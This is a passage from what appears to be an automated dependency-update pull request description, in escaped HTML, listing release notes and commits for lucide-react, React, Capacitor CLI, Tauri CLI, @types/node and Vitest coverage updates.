href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix build by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5033\"\u003elucide-icons/lucide#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Update icon count comparison with Feather Icons by \u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eletter-spacing\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the vue-deps group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5027\"\u003elucide-icons/lucide#5027\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump react-native from 0.87.1 to 0.88.0 in the react-native-deps group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5030\"\u003elucide-icons/lucide#5030\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eline-height\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3039\"\u003elucide-icons/lucide#3039\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the svelte-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5028\"\u003elucide-icons/lucide#5028\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the react-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5026\"\u003elucide-icons/lucide#5026\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebrain-off\u003c/code\u003e icon by \u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003egraph-hub\u003c/code\u003e icon by \u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(svelte): export __iconData and __iconNode across per-icon modules (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4936\"\u003e#4936\u003c/a\u003e) by \u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.59.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): Adds search field to docs pages by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5012\"\u003elucide-icons/lucide#5012\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003echess-queen\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4613\"\u003elucide-icons/lucide#4613\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.58.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): add third-party package lucide-jte by \u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(integration-tests): Add Svelte integration tests for \u003ccode\u003e@ucide/svelte\u003c/code\u003e by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5005\"\u003elucide-icons/lucide#5005\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the angular-deps group across 1 directory with 10 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5004\"\u003elucide-icons/lucide#5004\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/fa238cf2787d64393b74121631b518cee0c909c2\"\u003e\u003ccode\u003efa238cf\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 2 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/5026\"\u003e#5026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/3f1255ecfa1b5b3a231e4aeb027781761204e187\"\u003e\u003ccode\u003e3f1255e\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​vitejs/plugin-react\u003c/code\u003e (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4995\"\u003e#4995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/949bc6d61f5964a98f99f4eb9b5bc291949ca18f\"\u003e\u003ccode\u003e949bc6d\u003c/code\u003e\u003c/a\u003e test(lucide-react): add tests for DynamicIcon fallback and ref forwarding (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4\"\u003e#4\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/98331e287029edeff0e04f269439884d060af703\"\u003e\u003ccode\u003e98331e2\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 3 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4951\"\u003e#4951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/09aa9c5c62c3b4b519fbb8c9ce1c396cc12f4dae\"\u003e\u003ccode\u003e09aa9c5\u003c/code\u003e\u003c/a\u003e chore(deps): Upgrade to vite 8 (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4950\"\u003e#4950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.61.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@capacitor/cli` from 8.5.2 to 8.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/releases\"\u003e@​capacitor/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/blob/main/CHANGELOG.md\"\u003e@​capacitor/cli's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/06e3e1984337f836a4c28b2afc92faa977dea315\"\u003e\u003ccode\u003e06e3e19\u003c/code\u003e\u003c/a\u003e Release 8.5.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/ba285693bf2afd76b350bf79a32afc7db5e67b37\"\u003e\u003ccode\u003eba28569\u003c/code\u003e\u003c/a\u003e chore: add .build/ folder to gitignore (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8640\"\u003e#8640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e\u003ccode\u003e145560e\u003c/code\u003e\u003c/a\u003e fix(cli): change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tauri-apps/cli` from 2.12.3 to 2.12.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tauri-apps/tauri/releases\"\u003e@​tauri-apps/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tauri-apps/cli\u003c/code\u003e v2.12.4\u003c/h2\u003e\n\u003ch2\u003e[2.12.4]\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.github.com/tauri-apps/tauri/commit/136a28eaa879e8aa706f9b2e05a050c46dcc1f4f\"\u003e\u003ccode\u003e136a28eaa\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/pull/16305\"\u003e#16305\u003c/a\u003e by \u003ca href=\"https://www.github.com/tauri-apps/tauri/../../Chaosnico9000\"\u003e\u003ccode\u003e@​Chaosnico9000\u003c/code\u003e\u003c/a\u003e) Skip the \u003ccode\u003e--target\u003c/code\u003e validation when \u003ccode\u003erustup target list\u003c/code\u003e fails, e.g. when \u003ccode\u003erustup\u003c/code\u003e is on \u003ccode\u003ePATH\u003c/code\u003e but has no toolchain installed, instead of rejecting every target as missing.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.github.com/tauri-apps/tauri/commit/52081e04a0309620d3eb8121e5ca9b66312f9857\"\u003e\u003ccode\u003e52081e04a\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/pull/16333\"\u003e#16333\u003c/a\u003e by \u003ca href=\"https://www.github.com/tauri-apps/tauri/../../amrbashir\"\u003e\u003ccode\u003e@​amrbashir\u003c/code\u003e\u003c/a\u003e) Rename the misspelled \u003ccode\u003echoowHowToInstall\u003c/code\u003e NSIS language string to \u003ccode\u003echooseHowToInstall\u003c/code\u003e. A custom language file in \u003ccode\u003ebundle.windows.nsis.customLanguageFiles\u003c/code\u003e that only defines the old name keeps working for now, but users should migrate to the new name.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgraded to \u003ccode\u003etauri-cli@2.12.4\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.github.com/tauri-apps/tauri/commit/4a6f512519286ff9862b2e86c67ef39f4562aee5\"\u003e\u003ccode\u003e4a6f51251\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/pull/16317\"\u003e#16317\u003c/a\u003e by \u003ca href=\"https://www.github.com/tauri-apps/tauri/../../lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e) Updated \u003ccode\u003ezip\u003c/code\u003e to v9 to fix RUSTSEC-2026-0367, RUSTSEC-2026-0368 and RUSTSEC-2026-0369.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/993038c49185307dfc895ab7657d77ca0d5ed7c7\"\u003e\u003ccode\u003e993038c\u003c/code\u003e\u003c/a\u003e apply version updates (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16303\"\u003e#16303\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/0007a43ae74551655357aced98a000965b759ff3\"\u003e\u003ccode\u003e0007a43\u003c/code\u003e\u003c/a\u003e fix(macos-sign) Also list \u003ccode\u003eiPhone Distribution/Developer\u003c/code\u003e certs (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/14838\"\u003e#14838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/97ccd82352baf4b66411afa374165a68cfba988a\"\u003e\u003ccode\u003e97ccd82\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate zip to v9.0.5 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16346\"\u003e#16346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/5b50edd992420dabff167309f96b2dd20385a9d7\"\u003e\u003ccode\u003e5b50edd\u003c/code\u003e\u003c/a\u003e fix(api): type check dev tooling configs (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16353\"\u003e#16353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/cf40b7337a9657ead88be3b4caed4539d8aabae8\"\u003e\u003ccode\u003ecf40b73\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate ico to 0.6 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16348\"\u003e#16348\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/d440abf550b922832f2e20d465808bdf9b5c702a\"\u003e\u003ccode\u003ed440abf\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate shared_child to v1.1.2 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16308\"\u003e#16308\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/4c5593cf22e7d37cc2937edfbf69cc34be2c1111\"\u003e\u003ccode\u003e4c5593c\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate tower to v0.5.3 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16309\"\u003e#16309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/a376abd497325479e3ced3ae0b1dfaecf5d42fb5\"\u003e\u003ccode\u003ea376abd\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate serde_json to v1.0.154 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16307\"\u003e#16307\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/68e60c1304c69664f861772faf25a7376ad4a42e\"\u003e\u003ccode\u003e68e60c1\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency vitest to v5.0.5 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16339\"\u003e#16339\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tauri-apps/tauri/commit/9318ab84b8412d80fc5c515f931e9419b26f3729\"\u003e\u003ccode\u003e9318ab8\u003c/code\u003e\u003c/a\u003e chore(deps): update rust crate which to v8.0.6 (\u003ca href=\"https://redirect.github.com/tauri-apps/tauri/issues/16310\"\u003e#16310\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/tauri-apps/tauri/compare/@tauri-apps/cli-v2.12.3...@tauri-apps/cli-v2.12.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 26.6.3 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 5.0.3 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca 